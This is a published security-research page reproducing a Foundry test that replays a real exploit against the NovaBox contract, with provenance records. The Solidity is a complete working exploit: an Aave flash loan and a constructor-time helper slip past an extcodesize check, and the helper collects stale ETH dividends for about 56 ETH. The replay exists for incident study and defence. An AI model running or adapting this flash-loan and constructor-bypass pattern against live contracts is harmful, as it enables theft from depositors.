Public reproduction file
src/test/2026-06/NovaBox_exp.sol
Public reproduction file for dataset entry NovaBox.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";6// @KeyInfo - Total Lost : 56.73 ETH7// Attacker : 0x3690c5efc63eea1167c4d92a3f2dd8afdb85c2948// Attack Contract : 0xb50be385f6eb02ae379da3d3a1bb58a0dc2608589// Vulnerable Contract : 0xbc4191167d4b0251cab5201a527daa8a7d3846b010// Victim : 0xbc4191167d4b0251cab5201a527daa8a7d3846b011// Attack Tx : https://etherscan.io/tx/0x0cfa357e9e4db1540246f17cb6bfa0634ff8727d7cf241b63fb22605021c884413// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0xbc4191167d4b0251cab5201a527daa8a7d3846b0#code16// @Analysis17// Twitter Guy : https://x.com/DefimonAlerts/status/206461636046691979318//19// NovaBox blocks contract ETH deposits with extcodesize(msg.sender) == 0 and adds new dual ETH/NOVA depositors to the20// dividend list without initializing their dividend checkpoints. The attacker deposits through a constructor helper,21// joins the list with zero checkpoints, then immediately withdraws ETH and receives stale historical ETH dividends.23address constant ATTACKER = 0x3690c5EFc63eeA1167c4d92a3f2dD8afdb85C294;24address constant ATTACK_CONTRACT = 0xB50bE385f6EB02aE379DA3D3A1BB58a0dc260858;25address constant VULNERABLE_CONTRACT = 0xbc4191167D4B0251cAB5201a527Daa8a7d3846b0;26address constant NOVA = 0x72FBc0fc1446f5AcCC1B083F0852a7ef70a8ec9f;27address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;28address constant AAVE_V3_POOL = 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2;30interface INovaToken {31 function balanceOf(32 address account33 ) external view returns (uint256);34 function approve(35 address spender,36 uint256 amount37 ) external returns (bool);38 function transfer(39 address to,40 uint256 amount41 ) external returns (bool);42}44interface INovaBox {45 function depositTokens(46 address randomAddr,47 uint256 randomTicket48 ) external;49 function contributionsEth(50 address account51 ) external view returns (uint256);52 function withdrawEth(53 uint256 amount54 ) external;55}57interface IAaveV3Pool {58 function flashLoanSimple(59 address receiverAddress,60 address asset,61 uint256 amount,62 bytes calldata params,63 uint16 referralCode64 ) external;65}67interface IWETH9 {68 function deposit() external payable;69 function withdraw(70 uint256 amount71 ) external;72 function approve(73 address spender,74 uint256 amount75 ) external returns (bool);76 function balanceOf(77 address account78 ) external view returns (uint256);79}81contract ContractTest is BaseTestWithBalanceLog {82 function setUp() public {83 vm.createSelectFork("mainnet", 25_281_767);84 fundingToken = address(0);86 vm.label(ATTACKER, "Attacker");87 vm.label(ATTACK_CONTRACT, "Trace Attack Contract");88 vm.label(VULNERABLE_CONTRACT, "NovaBox");89 vm.label(NOVA, "NOVA");90 vm.label(WETH, "WETH");91 vm.label(AAVE_V3_POOL, "Aave V3 Pool");92 }94 function testExploit() public balanceLog2(ATTACKER) {95 uint256 profitBefore = ATTACKER.balance;96 uint256 sameBlockNovaSeed = 0.001 ether;97 uint256 flashAmount = 427.5 ether;98 uint256 expectedMinimumProfit = 50 ether;100 NovaBoxRoot root = new NovaBoxRoot(payable(ATTACKER), flashAmount);101 vm.label(address(root), "Local Root Attack");103 // step 1: model same-block tx index 0, which seeded the future root contract with 0.001 NOVA.104 deal(NOVA, address(root), sameBlockNovaSeed);105 assertEq(INovaToken(NOVA).balanceOf(address(root)), sameBlockNovaSeed);107 // step 2: execute the trace order: local receiver, Aave flash loan, constructor helper, then profit forwarding.108 root.run();110 uint256 profit = ATTACKER.balance - profitBefore;111 emit log_named_decimal_uint("ETH profit after Aave repayment", profit, 18);112 assertGt(profit, expectedMinimumProfit);113 }114}116contract NovaBoxRoot {117 INovaToken private constant nova = INovaToken(NOVA);118 address payable private immutable profitReceiver;119 uint256 private immutable flashAmount;121 constructor(122 address payable profitReceiver_,123 uint256 flashAmount_124 ) {125 profitReceiver = profitReceiver_;126 flashAmount = flashAmount_;127 }129 function run() external {130 NovaFlashLoanReceiver receiver = new NovaFlashLoanReceiver(address(this), flashAmount);131 uint256 novaSeed = nova.balanceOf(address(this));132 require(nova.transfer(address(receiver), novaSeed), "nova seed transfer failed");134 receiver.startFlashLoan();136 profitReceiver.transfer(address(this).balance);137 }139 receive() external payable {}140}142contract NovaFlashLoanReceiver {143 INovaToken private constant nova = INovaToken(NOVA);144 IAaveV3Pool private constant aave = IAaveV3Pool(AAVE_V3_POOL);145 IWETH9 private constant weth = IWETH9(WETH);147 address payable private immutable root;148 uint256 private immutable flashAmount;150 constructor(151 address root_,152 uint256 flashAmount_153 ) {154 root = payable(root_);155 flashAmount = flashAmount_;156 }158 function startFlashLoan() external {159 aave.flashLoanSimple(address(this), WETH, flashAmount, "", 0);160 }162 function executeOperation(163 address asset,164 uint256 amount,165 uint256 premium,166 address initiator,167 bytes calldata168 ) external returns (bool) {169 require(msg.sender == AAVE_V3_POOL, "unexpected lender");170 require(asset == WETH, "unexpected asset");171 require(initiator == address(this), "unexpected initiator");172 require(amount == flashAmount, "unexpected amount");174 // step 3: unwrap the flash-loaned WETH and spend the ETH through a constructor helper.175 weth.withdraw(amount);176 new NovaConstructorHelper{value: amount}(address(this));178 // step 4: wrap enough ETH to repay Aave principal plus premium, then forward the remaining ETH profit.179 uint256 repayment = amount + premium;180 weth.deposit{value: repayment}();181 weth.approve(AAVE_V3_POOL, repayment);183 root.transfer(address(this).balance);184 return true;185 }187 function fundHelperWithNova() external {188 uint256 balance = nova.balanceOf(address(this));189 require(nova.transfer(msg.sender, balance), "helper nova transfer failed");190 }192 receive() external payable {}193}195contract NovaConstructorHelper {196 INovaToken private constant nova = INovaToken(NOVA);197 INovaBox private constant box = INovaBox(VULNERABLE_CONTRACT);199 constructor(200 address flashLoanReceiver201 ) payable {202 // step 5: pull the NOVA seed from the flash-loan receiver and enter NovaBox as a token contributor.203 NovaFlashLoanReceiver(payable(flashLoanReceiver)).fundHelperWithNova();204 uint256 novaBalance = nova.balanceOf(address(this));205 require(nova.approve(VULNERABLE_CONTRACT, novaBalance), "nova approve failed");206 box.depositTokens(address(this), 0);208 // step 6: deposit ETH while this contract has no runtime code, bypassing NovaBox's extcodesize check.209 (bool deposited,) = VULNERABLE_CONTRACT.call{value: msg.value}("");210 require(deposited, "eth deposit failed");212 // step 7: withdraw the credited ETH and stale dividends, then return all ETH to the flash-loan receiver.213 uint256 creditedEth = box.contributionsEth(address(this));214 box.withdrawEth(creditedEth);216 payable(flashLoanReceiver).transfer(address(this).balance);217 }218}Analysis
Dataset entry
Public Foundry test for “NovaBox” (2026-06-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2026-06/AIDC_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/AISOTHPresale_exp.solSame month in the dataset · 125 lines
- src/test/2026-06/AmbientCrocSwapDex_exp.solSame month in the dataset · 262 lines
- src/test/2026-06/ATM_LP_Burn_exp.solSame month in the dataset · 108 lines
- src/test/2026-06/ATM_exp.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecConnect_exp.solSame month in the dataset · 127 lines
- src/test/2026-06/AztecEscapeHatch_exp2.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecEscapeHatch_exp.solSame month in the dataset · 77 lines
- src/test/2026-06/BOSS_exp.solSame month in the dataset · 142 lines
- src/test/2026-06/BYToken_exp.solSame month in the dataset · 106 lines
- src/test/2026-06/CookFinanceIssuance_exp.solSame month in the dataset · 259 lines
- src/test/2026-06/DIP_exp.solSame month in the dataset · 139 lines
- src/test/2026-06/DLMC_exp.solSame month in the dataset · 160 lines
- src/test/2026-06/DTXT_exp.solSame month in the dataset · 166 lines
- src/test/2026-06/JB_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/LBP_exp.solSame month in the dataset · 289 lines
- src/test/2026-06/LixirPermitDrain_exp.solSame month in the dataset · 251 lines
- src/test/2026-06/OceanBPoolSideStaking_exp.solSame month in the dataset · 159 lines
- src/test/2026-06/OLPC_exp.solSame month in the dataset · 301 lines
- src/test/2026-06/RoyalRoyalties_exp.solSame month in the dataset · 196 lines
- src/test/2026-06/Thetanuts_exp.solSame month in the dataset · 172 lines
- src/test/2026-06/TOPBPool_exp.solSame month in the dataset · 143 lines
- src/test/2026-06/Vault4626_exp.solSame month in the dataset · 172 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x3690c5efc63eea1167c4d92a3f2dd8afdb85c294
- Attack Contract
0xb50be385f6eb02ae379da3d3a1bb58a0dc260858
- Vulnerable Contract
0xbc4191167d4b0251cab5201a527daa8a7d3846b0
- Victim
0xbc4191167d4b0251cab5201a527daa8a7d3846b0
- Attack Tx
0x0cfa357e9e4db1540246f17cb6bfa0634ff8727d7cf241b63fb22605021c8844
File record
- Name
- NovaBox
- Path
- src/test/2026-06/NovaBox_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 8d229e22b2bf93fe1529993116fb7df3d59d48b2
- Language
- Solidity
- Size
- 219 lines
- Date
- 2026-06-09
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-06/NovaBox_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8d229e22b2bf93fe1529993116fb7df3d59d48b2, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.